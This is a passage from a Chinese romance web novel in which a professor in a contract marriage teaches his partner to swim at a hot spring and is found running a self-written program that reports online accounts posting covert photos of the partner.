甚至,当他缓缓睁开已经有些沉重的眼皮,四下扫了一眼周围发现的确没人后,手已经不受控制地,自己开始脱上衣。 结果刚脱到一半。 有声音自身后响起。 “穿上。” 岑康宁下意识地:“不要。” 扑通,小池子里水花四溅,那人走了进来,不由分说将岑康宁脱掉一半的上衣又拽了回去。 岑康宁:“……” 说没有怨言那是假的,他看了眼来人后,忍不住抱怨道:“脱掉泡更舒服。” 祁钊却看了眼他的胸口处,意有所指:“不遮了?” “反正也只有你看见。” 岑康宁说。 他想,其实他现在的脸皮还是厚了一点儿,尤其是在祁钊面前。 也许是什么样的自己祁钊都见过了。 所以岑康宁在他面前现在就大有一种,破罐子破摔,你能把我怎么样的无赖态度。 而且仗着祁教授肯定也不会对自己生气。 他作势就要再把衣服脱一遍。 然而这一遍却仍被祁钊拦住。 “喂!” 岑康宁开始不满了。 水雾蒙蒙的夜色里,桃花眼嗔怪的瞪了祁钊一眼。有埋怨,也有几分像撒娇。 但祁钊却始终没松开手。 “不会有人看到的。” 岑康宁强调:“而且说不定都不肿了。” 祁钊:“我能看到。” 岑康宁愣了下:“啊?你……” 话说到一半时他却有些没说下去,因为月色下他看清楚了祁钊的眼神。 那种像狼一样危险的眼神他很熟悉。 今天下午的时候才刚刚出现过。 岑康宁:“……” “不是,你有完没完了?” 岑康宁清醒过来以后,开始红着脸抗议:“咱们合同是怎么规定的,你都忘了吗?” “没忘。” 祁钊说。 岑康宁:“那你怎么?” 祁钊:“要我告诉你现在是周几吗?” 岑康宁:“…………” 该死的。 谁能告诉他周五晚上为什么还没过去? 签合同的时候也没跟他说周五晚上这么长啊! 岑康宁说不出话来反驳了。但他忽然站起身来,坐到了距离祁钊最远的一个角落里,还把自己的小零食也带走了,大有一种用行动来证明自己要跟祁钊保持距离的态度。 可态度归态度。 实际上执行起来却有些出入。 一开始的时候岑康宁的确距离祁钊挺远的,可过了一会儿,他在池子里稍微泡了泡水,不知不觉就又重新靠近了祁钊几厘米。 池子小是一个原因。 他本人毫无戒心又是另一个原因。 又过了一会儿,他觉得自己池子这边儿的水好像有些冷,问:“是不是水冷了?要不要换个池子。” 正一边泡温泉一边看手机的祁钊却道:“我这里正好。” “哦,我才不过去。” 岑康宁这么说。 “我宁愿冷着,也不跟某人在一块儿泡。” 岑康宁这样发誓。 说是这么说,但因为自己这边儿的温度属实是有些凉了,于是下意识地,岑康宁往祁钊的方向稍微靠了靠。 不知是不是错觉。 那个方向果然更暖和。 岑康宁便不知不觉,又往过靠了靠。 等到岑康宁意识到自己好像又重新坐到老地方的时候,他整个人的身子骨都已经被温泉水泡软了,舒坦到想跑都提不起劲儿。 不得已,他只能忍辱负重地在祁钊身边坐下。 “虽然还没到十二点,但你不许动我了,听到没?” 岑康宁用眼神警告着身旁的男人。 但这话说是警告,从此刻软绵绵的他嘴里说出来却并没有什么威慑力。 尤其是泡了半小时的温泉后,警告的眼神也变得湿漉漉,带着蒙蒙水气。 像是小猫觉得自己很凶。 跳起来张开爪子吓人。 但在人类的眼里,只有可爱。 祁钊答应他,说:“好。” 岑康宁正要放心,一只手从隔壁伸了过来,揉了揉他的脑袋,又捏捏他的脸。 岑康宁:“……” 可恶,别把我当小猫! 没喝醉不行,喝醉了更不行。 作者有话说: 宁宁小猫:怎么回事,永远过不完的周五晚上?[爆哭][爆哭] 第58章 不知道是不是这半边的水真的更烫一点儿。 岑康宁感到自己脸好像又红了。 最近一段时间他脸红的次数属实有些多,不得不让他怀疑,祁教授是不是掌握了什么让人脸红的最新科技。 咕嘟咕嘟。 他试图把自己埋在温泉里。 “脏。” 对他的动作,祁钊却并不赞同。 岑康宁将脑袋重新冒出来,眨眨眼,嘟哝:“现在觉得水脏了,刚刚游泳的时候怎么不嫌弃?” 祁钊态度坦然:“泳池里的水有固定周期消毒。” 岑康宁说:“那温泉池子里的水也有消毒,再说了,这个池子我是第一个下来的人,从刚刚到现在都只有我一个。” 祁钊看他一眼,挑眉:“这就是你偷偷溜走的原因?” “对啊,不行吗?” 岑康宁自然不能说他溜走是因为不想看到祁钊身上的痕迹被其他人看见,害羞。 只能甩锅给温泉。 不过话说到这儿,岑康宁好奇:“所以最后谁赢了?” 祁钊:“不分胜负。” 岑康宁却一脸震惊:“真的假的,你能跟三哥不分胜负?!” 祁钊:“不行?” 岑康宁:“不是不行,只是我们几个都知道,三哥体育太厉害了,长跑跟游泳都是在我们学校拿冠军的水平。” 祁钊:“哦。” 岑康宁隐隐觉得祁钊好像有些不太高兴,但祁钊这人高不高兴平时都是一个表情,所以他也没办法确定。 于是追问:“哦是什么意思?” 祁钊:“在斯坦福的时候,我也拿过系里的游泳第二名。” 岑康宁惊讶:“这么厉害才第二名吗?” 祁钊:“第一名是后来的欧锦赛金牌。” 岑康宁:“…………” 好半天的功夫,他从齿缝里憋出一句:“贵校可真是,人才济济。” 这话说得倒是不假。 斯坦福确实牛人特别多。 但令岑康宁惊讶的是,哪怕在这么多天才汇集的斯坦福,祁钊竟然方方面面也这么出类拔萃。 成绩,科研,甚至体育。 连游泳都这么厉害。 这人身上还有哪一点不优秀的? 岑康宁承认自己心里有点儿酸,又有谁不羡慕这样的人生呢? 不过他倒是没酸多久。 因为很快岑康宁就看着祁教授身上流畅的肌肉线条,迟疑着说: “既然钊哥你游泳这么厉害,要不,教教我?” 听到这句话后,祁钊放下手机,有些惊讶的看了岑康宁一眼。 五分钟后—— “噗!” 岑康宁脸颊通红地喷出一大口温泉水,嚷嚷:“不学了不学了,我现在一点儿也不喜欢游泳。” 祁钊拍他的后背,让他快速喘过气,说:“重新来,这次不要紧张,记得换气。” 岑康宁:“我也很想记得啊!” 可惜,一进水后他的脑袋里就一片空白。 明明这片水池这么浅,根本不具有危险性,但岑康宁就是没办法控制自己对水的紧张。 祁钊道:“你对水很不适应。” 岑康宁点头:“这点我承认,从小到大,我就没到过水多的地方。” 小时候家里住农村。 周围到处都是农田,没有河,也没有小溪。 岑康宁的童年是在玉米田里度过的。 六岁以后到了黄家,就更不可能接触到水。 对于普通小孩儿来说非常熟悉的游泳池,或者是公园里的湖泊,外省的海边,对岑康宁来说,都是可望不可及,只会出现在课本里的东西。 一直到上了大学。 可喜可贺的是学校里终于有游泳池了。 可惜一次下水三十块的价格将岑康宁拒之门外。细数起来,他跟游泳池最近的距离,大约就是当年曹帅游泳比赛,他跟其他舍友一起站在岸边替三哥加油。 当时岑康宁是一种怎么样的心情呢? 说不羡慕肯定是假的。 他也很想像其他人一样那样自信从容的在水里顺畅的遨游。 但羡慕又有什么用呢? 当时的岑康宁既没有时间,也没有钱。 所以可能只是有淡淡的遗憾吧。 甚至就连那一点儿淡淡的遗憾,也在其他学生水浪翻飞的浪花,以及赛场观众热烈的鼓掌与欢呼中,渐渐的淡去。 最后留在他记忆里的只剩下比赛结束后,曹帅得奖,请所有人吃的烧烤。 “我们校门口的烧烤挺香的。” 岑康宁笑着,回忆道:“尤其是烤鸡翅,又香又辣,鸡皮一点都不腻。” 而祁钊看着他单纯的笑脸,月光下,蓦地,想起方才那个叫曹帅的人叫住自己说过的一番话。 游泳比赛结束后。 祁钊发现岑康宁并不在泳池附近,便穿上了浴衣,准备离开去寻找岑康宁。 自然,岑康宁的两个同学也跟在他身后,一起来到酒店温泉的所在处。 走到某个温泉池的时候。 那个叫左梓轩的研究生舍友说:“不行,外面好冷,我要下去泡了!” 随后扑通一声,他进了那个红酒池。 祁钊以为曹帅也跟他一起进去了。 便自顾自向前走,继续寻找岑康宁。 不成想曹帅并没有下去,反倒跟在他的身后,直到走到下一个拐弯处,叫住自己。 他说:“抱歉祁教授,我想占用你一点时间。” 祁钊微微蹙眉,扭头没说话,只用眼神示意他说下去。 曹帅尴尬地挠了挠头,笑着说:“其实,这话我没资格讲的,但也不知道为什么,我就是很想说。” “说吧。” 祁钊淡淡道。 当时祁钊以为,曹帅也许会发表一些关于他不会放弃岑康宁的宣言。 就像在游泳池里的那场比赛。 哪怕用尽全力也不认输。 可出乎意料的是,曹帅只是说:“也没什么,就是希望您对宁宁好点儿。” 祁钊看了眼曹帅。 曹帅的表情很认真。 “他是个善良心软,有时候还有点儿傻乎乎的人。要是有谁对他稍微好一点儿,他就恨不得把心都掏出来给那个人。这样的性格很讨人喜欢,但也很容易受伤。” “我跟我其他舍友们都不希望看到他受伤,所以……总之希望您以后对他好点儿。” 祁钊冷静地问他:“你觉得我对他不好吗?” 曹帅矢口否认道:“没有,您当然对他很好了,但我总觉得,他永远值得更好。” 祁钊便没说话了。 在两人的这番对话中,他并没有直接告诉曹帅自己会对岑康宁好或者不好,因为在祁钊看来,那根本没有意义。 好与不好都不是说出来的。 甚至他对曹帅说出这番话的意图也很是怀疑。 可就在此刻,祁钊看着岑康宁在温泉池子里用笨拙的姿势学习游泳,学了一会儿没学会,呛了一鼻子水,呛的脸颊通红,然后笑着告诉自己,鸡翅很好吃的时候。 祁钊想,的确。 曹帅有一点说的不错。 岑康宁确实值得更好的。 此外,这小孩儿似乎真的有些不大聪明。 — 不太聪明的岑康宁已经开始决定放弃学游泳了。 反正他说想学也不过是临时起意,受到挫折以后很快起的那一丢丢意也消磨了干净。 不会游泳也没什么。 旁人游泳的时候泡泡温泉也不错。 省心省力。 但就在岑康宁已经决定放弃后,祁钊再度靠近了他,用手捏住他的鼻子。 岑康宁:“&%¥!” 姓祁的你干嘛? 谋杀亲夫吗? “下水以后不要吸气。” 岑康宁:“……” “水上吸气,水下呼气,先在岸上试试调整呼吸。” 岑康宁眨眨眼,看了眼身下幽暗的水面,其实说立刻不害怕了是假的,他对水太陌生了,怎么可能被祁钊三两句话就说得扔掉恐惧。 但不得不承认,祁钊第二次开始教他呼吸的行为给了他些许信心。 也许这一回,下水就不怕了呢? 这样想着,岑康宁带着些许迟疑,缓缓的闭上眼睛,感受着身体的呼吸。 一呼一吸之间。 世界变得安静,整个人的身心也似乎变得平静起来。 岑康宁感受着空气在身体间的循环,逐渐地,越来越能够感受到呼吸的节奏。 那是一种很奇妙的感觉。 仿佛他的灵魂与身体终于第一次合二为一一般。 他的身体开始回应他的声音。 于是某个瞬间,岑康宁决定再度将身体下潜。 其实哪怕就在这个时候岑康宁也并非全然的不怕了,可在下水前的最后一秒,他听到祁钊的声音:“我在这里。” 像是一剂强心针,彻底地注入了岑康宁的血液。 他将头埋进温暖的泉水里。 然后—— “我成功了!” 岑康宁高兴地从水中抬起自己湿漉漉的脑袋,由于动作太大,溅起片片水花。 “钊哥,你看到没,我学会换气了,我成功了!” 他拽着身边人不住地炫耀着,眉眼里全是喜悦,全然不见方才的沮丧与遗憾。而对此,作为老师的祁钊则十分罕见点了点头,赞许他道:“不错,很聪明。” 岑康宁:“那是!我学什么都很快的。” 只是说完后又不好意思的红了红脸,像是炫耀完以后才想起自己方才呛水的窘态。他将头半埋在水里,眼睛一眨也不眨地看着祁钊。 祁钊感觉到他似乎有话想说,只是不好意思开口。 “想说什么?” “没,也没什么。” 岑康宁小声地开口,脸很烫地说:“就是想说句谢谢。” 学游泳只是他随口的一句话,连他自己都不相信自己,失败了一次就决定放弃。祁钊却当了真。 非但当了真,还真的教会了他换气。 岑康宁直到现在都感觉刚刚在水里的经历像是在做梦一样。 他竟然也有在水下不手忙脚乱头脑空白的一天? 太神奇了。 这跟原始猿类忽然有一天学会骑自行车有什么区别? 请原谅岑康宁的胡言乱语,总之,他真的是觉得这件事很神奇,也发自内心的觉得很感谢祁钊。 可对此,祁钊的反应却很平淡,他淡然道:“现在说谢谢有些为时过早了。 “嗯?” 岑康宁不解。 “换气只是第一步,你不会认为学会换气就等于学会游泳了吧?” “敢问第二步是?” “泳姿练习。” “哦,那应该不难吧。” 方才刚刚获得成就感的岑康宁雄心壮志,信心满满道。 祁钊:“不难,把我教你的标准姿势先做个一百遍就行。” 岑康宁:“……” “回来,我不喜欢半途而废的学生。”祁钊将打算溜走的人一把抓住,重新抓回水里。 而对此某个怎么逃都逃不掉的原始猿类是这样抗议的: “有没有人记得我们今天晚上是来泡温泉放松的啊!” “夭寿啦,有教授虐待学生了!我要报警,现在就报警!” 自然这样的反抗是一点效果都没有的。 尤其是对于冷酷无情,速来有严师之名的祁教授而言。 聪明无比的岑康宁只好转化赛道—— “呜呜呜,好累哦,老公,我们改天再学行不行?” 最后的结果是喜提二百遍。 “我的伴侣比我的学生更应该早日学会游泳。” 苦哈哈开始练泳姿的岑康宁:“……我恨。” 早知道还不如当学生呢! 当然最后岑康宁也没练完那二百遍,他今天这一整天实在是太累了,第十遍的时候身体已经累的抬不起胳膊,直接变成了一条彻头彻尾的咸鱼。 而这时正好。 天降喜讯。 “尊敬的客户,您好,感谢您的光临。愉快的时间总是短暂,我们将很遗憾地告知您,温泉即将在十五分钟后迎来关闭,请各位贵宾带好您的随身物品,有序撤离……” 岑康宁这辈子都没笑得这么开心过。 开心到跟曹帅左梓轩告别的时候,挥着手,唇角却仍旧挂着遮盖不住的笑意。 — 回到酒店房间后。 岑康宁已经彻底失去了所有力气,连洗澡的力气都不剩。 祁钊要他冲个澡,他在床上磨叽着不肯去,要祁钊先洗。没办法,祁钊只好先去洗。结果洗完出来一看,果然,人已经躺在床上四仰八叉地睡着了。 祁钊很无奈,但知道岑康宁的确是累坏了,就没叫他,而是把被子给他盖好了。 至于祁钊自己。 换了地点以后生物钟失效,再加上今天的工作量实在过少,是以他非但不困,反而感到异常清醒。 于是就在岑康宁陷入熟睡以后。 祁钊默默地拿出了随身携带笔记本电脑,开始办公。 白天积攒的工作,学生微信里提问的问题,领导无理取闹的要求,他一个接着一个,有条不紊的解决。 夜色已经深了。 但笔记本电脑的光芒却依然闪烁。 温泉酒店大床房里,键盘敲击的声音时不时响起,化作世界上最有效果的催眠音。 直到两小时过去。 祁钊终于解决完所有工作,一丝困倦袭来,他决定关电脑休息。 忽然他意识到什么,转头—— 果然,黑暗中一双明亮的桃花眼,正炯炯有神地看着自己。 祁钊:“……你醒了?” 岑康宁拖着下巴,眼睛一眨不眨地看着祁钊:“嗯。” “还睡吗?” “我以为你会问我醒了多久。” 祁钊表情不变:“为什么?” “当然是因为你要确认我有没有发现你偷偷举报我粉丝了!” 岑康宁声音变大了几分,终于抓到那个让视频与图片都无故下架的真凶这个事实让他感到异常的亢奋。 尤其是,这个真凶竟然是祁钊。 岑康宁都快惊呆了,他其实真的只是被尿憋醒,结果一睁眼看到祁钊正在打开的界面有点像小红书的举报界面。 仔细一看,还真是。 所以那个一直在暗地里举报他照片的人是祁钊? 巨大的冲击让岑康宁瞬间清醒了过来,他不敢发出声音,就这么一直看着祁钊面无表情,跟个冷面杀手一样用自己编写的程序一个软件接着一个软件的举报那些人。 微博,小红书,抖音。 凡是提起岑康宁发岑康宁照片乱叫岑康宁老婆的人账号全都被举报了。 看完以后岑康宁就一个感觉:嗯,当初王长旭说举报人应该是个阴暗的变态,说不定还真有几分道理。 作者有话说: 最近几章都是甜甜甜,明天的更甜[害羞][害羞] 第59章 被抓了个现行。 岑康宁本以为此变态不说忏悔不已,至少懊恼愧疚是有的。 却不成想,祁钊毫无半点反应。 不反省自己也就罢了,面对岑康宁的当场指认,当事人竟然只是微微一挑眉,反问他:“你把他们称作什么?” “……粉丝啊,怎么了?” 视线昏暗的酒店大床房内。 祁钊的表情变得冷淡起来。 岑康宁意识到不对劲,眨眨眼:“不行吗?” “可以。” 过了一会儿,祁钊语气很淡地道。 其实祁钊说这句话的时候很平静,与他以往说任何一句话都似乎没有任何区别,可不知怎的,岑康宁就是感觉到了他平静下的不高兴。 果然,下一秒,祁钊道:“但我通常不这么认为。” “我把这种行为叫做性骚扰。” 祁钊又道。 岑康宁:“……” 短暂的震惊过后,岑康宁心跳很快,手忙脚乱地解释:“他们没有恶意的,只是开玩笑的而已。” 祁钊:“我开玩笑不会随便叫人老婆,更不会偷拍别人。” 说完,祁钊看着岑康宁脸上浮现出的怔愣神情,不由得想起自己第一次遇到到那些人的场景。 只是一次很偶然的经历。 他在电梯里听到生科院的两个研究生一脸兴奋地交流着p大图书馆最近来了一个漂亮的小美人,从两人交流的信息中,祁钊确认此人的身份应当就是岑康宁没错。 祁钊本不欲多做反应。 但两人的话题逐渐从简单的夸赞转向奇怪的方向。 “今天图书馆去不去?” “去呗去呗,去看一眼,有一说一我在网上看到他照片了,那张脸太漂亮了!身材也巨巨巨好无比。” “哇哦,你还关注人家身材?” “别装好吧,别告诉我你没关注。” “嘿嘿,关注了关注了,身材确实好,腰好细啊,好想娶回家当老婆。” “不准你跟我抢!” “……” 祁钊当时面色冷淡地站在电梯最角落里,原本正在计划自己下午的工作安排,听到这段话,打断了两人的讨论:“请问……” 那研究生听到他开口说话后终于意识到电梯里还有人,而且还是老师,当时便吓得跟同伴一起落荒而逃。 没能告诉这两人岑康宁已婚。 祁钊对此深表遗憾。 但这不妨碍从电梯下来以后,祁钊便打开社交软件,搜索岑康宁。 当时校园宣传片还没上线,也因此出现在搜索结果中的大多只是p大学生偷拍照片,以及部分文字讨论。 祁钊在看到那些照片后脑海中闪过的第一个念头就是举报删除。 绝不能让这样的照片流传在互联网上。 而当他点开评论区,看到那些学生包括路人的讨论后,便愈加坚定了自己的观点。 岑康宁说:“他们没有恶意。” 祁钊并不这样认为。 首先,偷拍这个行为本身就是一个十分具有恶意的动作;其次,假如真的没有丝毫恶意,他们为何不在得到岑康宁的许可后正式拍摄照片呢? 那些流传在互联网上的照片大多角度清奇。 有的是岑康宁正在抬手整理书架,有的是岑康宁坐在工位上,替学生处理逾期书籍,还有的是岑康宁端着保温杯在茶水间时的照片。 有些照片里岑康宁笑着,脸颊的梨涡与鼻梁上的小痣若隐若现;有些照片里岑康宁表情很正经,是他在工作时才会偶尔露出的严肃表情。 这些照片里的岑康宁。 大多是连祁钊都没有见过的。 陌生的情绪忽如其来,让祁钊感到焦躁。 而很快,接下来的他在评论区里发现的文字消息,则让这股焦躁成功达到顶峰,并隐隐有发展成为愤怒的趋势。 那些偷拍照片下。 不少学生留下语气轻浮的评论。 祁钊其实一直明白,学历不代表人品,哪怕在诺奖团队中,人品低劣的人也屡见不鲜。可p大学生中,人品低劣的概率是不是太高了点? 他们到底理不理解“老婆”这个概念? 请问他们也像自己一样,拥有与岑康宁的结婚证吗? 甚至哪怕是作为结婚证的拥有者,祁钊也从未有过哪怕一次的逾矩。因为二人的结合乃是法律之下的又一重关系,依靠结婚协议连接。 是以哪怕领了结婚证。 祁钊也不认为自己有真正叫岑康宁“老婆”的资格。 但仅仅是一个随便点开的评论区而已,叫岑康宁“老婆”的用户就多达三位。 祁钊将这三人通通举报了。 当然偷拍的博主也一并举报。 举报的效率不算太高,因为这条微博在三小时后才被删除,且在被删除后的五分钟后立刻又被原博主重新上传。 祁钊开始意识到这样的举报效率属实太低。 他眉头微微一皱,很快便想出更为快捷有效的方案。 利用自己写出的小程序,外加加盖顶级律所公章的律师函,举报的效率果然有所提升。 当然,根据不同平台的规则,祁钊会设定不同的举报程序,举报话术也不尽相同。 唯一相同的便是每一个平台都要求祁钊展示相关身份证件。 这点倒是简单,毕竟祁钊的确拥有与岑康宁的结婚证原件。 互联网终于变得干净,祁钊对此勉强感到满意。 虽说举报成功后,某些个别博主和学生们都会在个人账户中对他进行辱骂,但无所谓,祁钊的举报小程序会自动识别这些内容,进行新一轮的举报。 然而他的满意却并没能持续太久。 因为很快,那则由p大官方平台发布的新生宣传片上线了。 祁钊并不知道岑康宁参与了这次新生宣传片的拍摄,还是他某日惯常检查举报小程序成果时忽然发现激增的举报成功数量后才意识到的这一点。 这条新生宣传片无疑助长了那些人嚣张的气焰。 因为宣传片中的特写镜头不再属于“偷拍”范畴,是以他们可以肆无忌惮地靠着截屏传播。 又因为p大官方账号至少拥有一百万粉丝。 视频平台推流了这条宣传片。 数不清的路人,学生,有如蝗虫过境一般,涌入了宣传片视频下。 更多的人开始跟风叫“老婆。” 最高赞的一条评论达到十万赞。 祁钊还记得自己点开视频后沉默良久,一直到两分钟后头脑才恢复清明。 而在恢复清明以后,他做的第一件事,便是加强了自己的举报小程序。 …… “偷拍确实不对,这点我承认,不过那些叫老婆的真的就是跟风开玩笑而已,没那么夸张的钊哥。” 岑康宁哭笑不得,试图给祁钊解释:“钊哥你可能醉心学术不太清楚,现在的年轻人在网上叫老公老婆很常见的。” “哪里常见?” 岑康宁愣了一下,看着祁钊认真的表情忽然想到,两人第一次见面时,他是不是也露出过这样的表情? 是的吧。 因为当时他听完刘海俐的条件,非常心动,所以忍不住开了个玩笑,叫隔壁的祁钊老公。 祁钊先是短暂怔住,随后很快,他的表情就变成了现在这样—— 乍一看没什么。 但实际上眉宇间有着极强烈的不赞同。 本就冷峻的眉眼也变得愈发冷酷无情。 当时,祁钊是怎么说的呢? “请问岑先生对所有第一次见面的人都能叫出老公吗?” “……” 清晰的记忆开始浮现,岑康宁感到头痛的同时,终于后知后觉意识到一件事,那便是祁教授从一开始的时候好像就不太接受这样的玩笑。 这下糟糕了。 岑康宁想。 怎么才能让一个性格保守又“醉心学术”的人接受这样的玩笑呢? 首先岑康宁想的当然是举例说明。 他拿自己当例子。 “钊哥还记不记得当初我们第一次见面。” “记得。” 祁钊道。 岑康宁眼里闪过惊喜,坐直了身体,说:“对啊,那时候我就跟你开了个玩笑,我叫你老公你还记得吧。” “……你在开玩笑?” “对。” 岑康宁点头,笑了笑:“那时候都还没结婚,当然只是开玩笑了。” 当然叫的理由其实还有一些说不出口的理由。 玩笑话里多少藏着真心。 对当时的岑康宁来说,这么帅还给提供图书馆编制的对象哪里找?难道他不是自己命中注定的老公吗? 这样想着,“老公”几乎就是脱口而出。 浑然不觉自己会因为这句“老公”被讨厌。 后来其实岑康宁偶尔也会叫,大多数是半开玩笑的语气。就比如说不久前在泳池里,岑康宁耍赖不想练习,也叫了祁钊老公。 当然这句老公多少有点儿想靠撒娇偷懒的意思。 最后却完全不管用。 直到现在岑康宁才意识到,这一招恐怕一开始对祁钊就没用。 早知道就不叫了。 岑康宁这样想,然后开口道:“真的只是开玩笑而已。” 祁钊沉默良久。 过了好一会儿,就在岑康宁以为他会很淡定地告诉他“以后不要再这样开玩笑”,或者是掏出电脑,将不拿“老公”开玩笑这件事写在新合同补充协议上时。 祁钊很严肃地问他:“这样的玩笑,除了我以外,你还跟谁开过?” 岑康宁:“……” 半分钟后。 岑康宁感到自己的身体正在逐渐升温。 他极度窘迫地挠着后脑勺,十分想告诉祁钊,他跟很多人都开过这样的玩笑,才不是只跟祁钊开过。 可当他仔细回想时。 除了祁钊以外的记忆竟然空空如也。 不会吧? 岑康宁愕然想,难道自己平时是这么正经的一个人吗? 难道他就没有在某个惊为天人的帅哥明星微博下留言过老公吗? 或者是好兄弟之间打打闹闹。 互叫老公故意恶心人的那种瞬间。 难道也没有过? 如果这些都没有,也就是说,他真的只跟祁钊一个人开过这样的“玩笑。” 意识到这个事实以后的岑康宁开始感到惶恐,那惶恐无疑来自于未知的自己。 他甚至一度无法判断。 只对一个人说出口的“玩笑”,是否还能被简单定义为玩笑。 幸好,就在名为理智清醒的护城河即将坍塌的前夕,一个英俊的中分头出现在他的眼前。 岑康宁如获至宝,几乎是立刻将自己的某个社交平台账号翻出来,展示给祁钊:“喏钊哥你看,我还叫过他老公!” “……” 祁钊看着屏幕里有着至少三种发色,一对儿羊角,以及三对翅膀的男人,不禁陷入沉思。 “你叫他老公?” “是啊,多帅啊!”岑康宁兴高采烈道:“我从来不买皮肤的,但那天一上线就买了他,实在是太帅了。” 祁钊:“…………” 祁钊忽然意识到对于岑康宁来说,老公也许真的并不意味什么。 忽如其来的情绪再度升腾而起。 令祁钊感到不快,也感到疲倦。 他垂下眼:“好的。” 岑康宁:“好的是什么意思?” “没什么。”祁钊道:“我有些困了。” “哦哦,这会儿都两点了,你肯定困了。”岑康宁了然。说着他让开床铺,给祁钊腾出空间:“早点儿睡吧钊哥。” “好的。” 祁钊说。 随后他将电脑挪开,彻底关闭电脑以前,想到什么,开口道:“如果你认为我的行为是没必要的,我可以停下程序,毕竟。” 毕竟什么? 岑康宁想。 怎么不说了? 祁钊却没有继续说下去,而是选择沉默着关掉电脑上24小时运转的程序,而后关闭房间里的灯,决定休息。 黑暗中的岑康宁却困意全无。 不仅仅是因为他不久前才睡了一觉,更因为祁钊的沉默。 虽说祁教授本来就话少,但像今天这样话说到一半没说完的情况也很罕见。岑康宁承认自己的确在意毕竟后面到底是哪一句,此外,他也不得不承认,就在方才,他看着祁钊默不作声关闭举报程序的时候,心头蓦地一疼。 像是忽然被针扎了一下。 他忽然意识到,祁钊做这件事的初衷是想保护他。 祁钊认为这样的行为是“骚扰”,哪怕岑康宁或者全世界的其他人都不认为这件事严重到这一地步,可祁钊认为是,所以他选择保护岑康宁。 可对于这份保护的心意。 岑康宁做了什么呢? 躺在酒店柔软的大床上看着黑暗一片的天花板,后知后觉地,岑康宁开始后悔。 尤其是当他还意识到,一贯睡眠良好的人可能到现在还没入睡成功,一贯珍惜时间每一分钟每一秒都不浪费的人竟然为他专门做了举报程序以后,后悔的情绪快要把他淹没了。 “要不?” 黑暗中,岑康宁试探性地开了口。 “嗯?” “要不还是开着吧,钊哥。” 得到回应后的岑康宁很迅速地道:“其实我也觉得他们那么随便叫我不太好。” 祁钊的反应是最快速度开机,重启程序。 “好的。” 他语速飞快地说:“我也建议你开着。程序已经写好了,只要放在那里就可以,不需要额外的操作,很方便。” 岑康宁:“好。” “好了,开了。” 祁钊道。 “现在你可以安心睡觉。”他道。 岑康宁现在的确可以安心睡觉了,但却并不因为网络上那些人。 他松了一大口气的同时,微微弯起了眉眼:“谢谢你啊钊哥。” “不麻烦。” 祁钊说:“举手之劳而已。不过,我还是有一个建议,你要不要听?” “什么建议?” “我的建议是以后你最好还是不要开这样的玩笑。” “哦,叫老公的玩笑吗?” “对。” 祁钊道:“因为你并不了解其他人的婚姻状态,也不确定这其中是否存在法律风险,哪怕是卡通人物形象。” 岑康宁打断了祁钊:“等下,你的意思是我乱叫老公会被告吗?” “不是没有这种可能。” 祁钊严谨道。 岑康宁:“……” 短暂无语了片刻后,鬼使神差地,岑康宁开口问祁钊:“那我叫你那么多回,你会告我吗?” 祁钊:“……不会。” 祁钊试图解释,虽然两人只是协议结婚,但从法律意义上来说,岑康宁仍旧拥有叫祁钊老公的权利。 我国法律是一夫一妻制。 所以理论上来说,这个世界上只有岑康宁一个人拥有这样的权利。 正如从法律上来看,拥有叫岑康宁“老婆”的人,也只有祁钊一个人一样。 但这样冗长的解释还尚未说出口,就被岑康宁接下来的话所打断。 “哦好的。” 岑康宁说,随后他道:“那我接着叫了,老公。” 祁钊:“……” “老公老公老公!” 岑康宁带着笑意的声音不断响起,带着几分孩子气的得意:“被我骚扰却告不了我也举报不了我的感觉怎么样,气不气?” 祁钊倒是不太生气,只是很想告诉岑康宁,就在昨天夜里,他已经发邮件给那位斯坦福学者,驳斥他的文章《论20岁以上成年男性每周一次性/行为的必要性》。 原因是:一次太少,建议重写。 作者有话说: 宁宁呐,倒是不会被告,只是会被……[黄心][黄心][黄心] 第60章 “晚安。” 祁钊说。 岑康宁的笑意不减,生怕酒店隔音不好,便把自己偷偷蒙在被窝里笑。 一想到祁钊被叫老公后无奈却拿他没办法的模样,岑康宁就控制不住地想笑。然而他忘记了今晚是大床房,酒店大床并不拥有分体式设计。 因而他笑到浑身颤抖的时候,连带着整张床也跟着一起抖动。 睡眠质量再好的人也没办法在这样的“地动山摇”中陷入睡眠。 无奈下,本就没什么睡意的祁钊只好叫岑康宁的大名: “岑康宁,已经两点钟了,你还不休息?” 岑康宁说:“我刚刚才睡了一觉,这会儿还不困。” 祁钊:“我困。” 岑康宁:“哦。” 可大床仍旧不断抖动。 岑康宁说:“怎么办,钊哥,我笑的停不下来?” 祁钊:“……” 岑康宁:“还有,我刚刚才发现,你怎么叫我大名?” 祁钊:“有问题吗?” 岑康宁道:“当然有了,你没发现我都是叫你钊哥吗?” 祁钊眉心轻蹙。 “我的朋友都叫我宁宁,或者小宁。”岑康宁好心提醒着某个不太通人情世故的教授,随后又想到什么,坏心眼的提示:“哦对了,你也可以叫我老婆。怎么样,给你一个报复回来的机会如何?” 可几乎是下意识地,祁钊拒绝:“不要。” 岑康宁:“……为什么?” 问为什么的时候,语气里带着几分连自己也未曾想过的急促。岑康宁没来得及细想,只是觉得莫名地不爽。 祁钊却依然坚持:“我拒绝。” 很短暂的一段儿沉默过后,岑康宁:“哦。” 他倒是没有特别生气,可能只有一点点生气。 毕竟在岑康宁看来,方才那番话中的选项,除了“老婆”这个词也许对祁钊来说意义重大以外,“小宁”“宁宁”,都是再普通不过的昵称。 就连第一次见面的同学都会愿意叫岑康宁宁宁。 祁钊却不愿意吗? 难道两人的关系仅仅是到“岑康宁”这个大名的位置而已。 岑康宁不想承认自己的心中有失落感,只将这件事归结于祁教授的性格问题。 倒是不想笑了,因为笑不出来。 岑康宁赌气说:“那我以后也不叫你钊哥了。” 祁钊沉默。 岑康宁不知道的是,有关这个问题,正在祁钊的脑海中形成一场前所未有的头脑风暴。 岑康宁更不知道的是,在很久以前,有关他的称呼问题,就已经刻印在祁钊的思想钢印里。 祁钊当然知道那些同学会叫岑康宁宁宁。 昨天下午的微信里,他不止一次地看到“宁宁”这两个字眼。不仅如此,他还知道,那个叫左梓轩的男孩儿,会叫岑康宁更为亲密的昵称。 宁宁之前,甚至还会再加一个“小”字。 “小宁宁,你到那里了?” “小宁宁,我好饿啊。” “小宁宁快出现!再不出现你五哥我就要生气了。” “……” 于是祁钊非常微妙地排斥了这两个称呼。他是很受直觉影响的人类类型,第一反应是不要就是不要。 也因此“宁宁”“小宁”“小宁宁”这三个称呼通通被他排除在外。 至于“老婆”…… 原本祁钊是不排斥的,毕竟从法律意义上来说,岑康宁的确是自己的老婆没错。 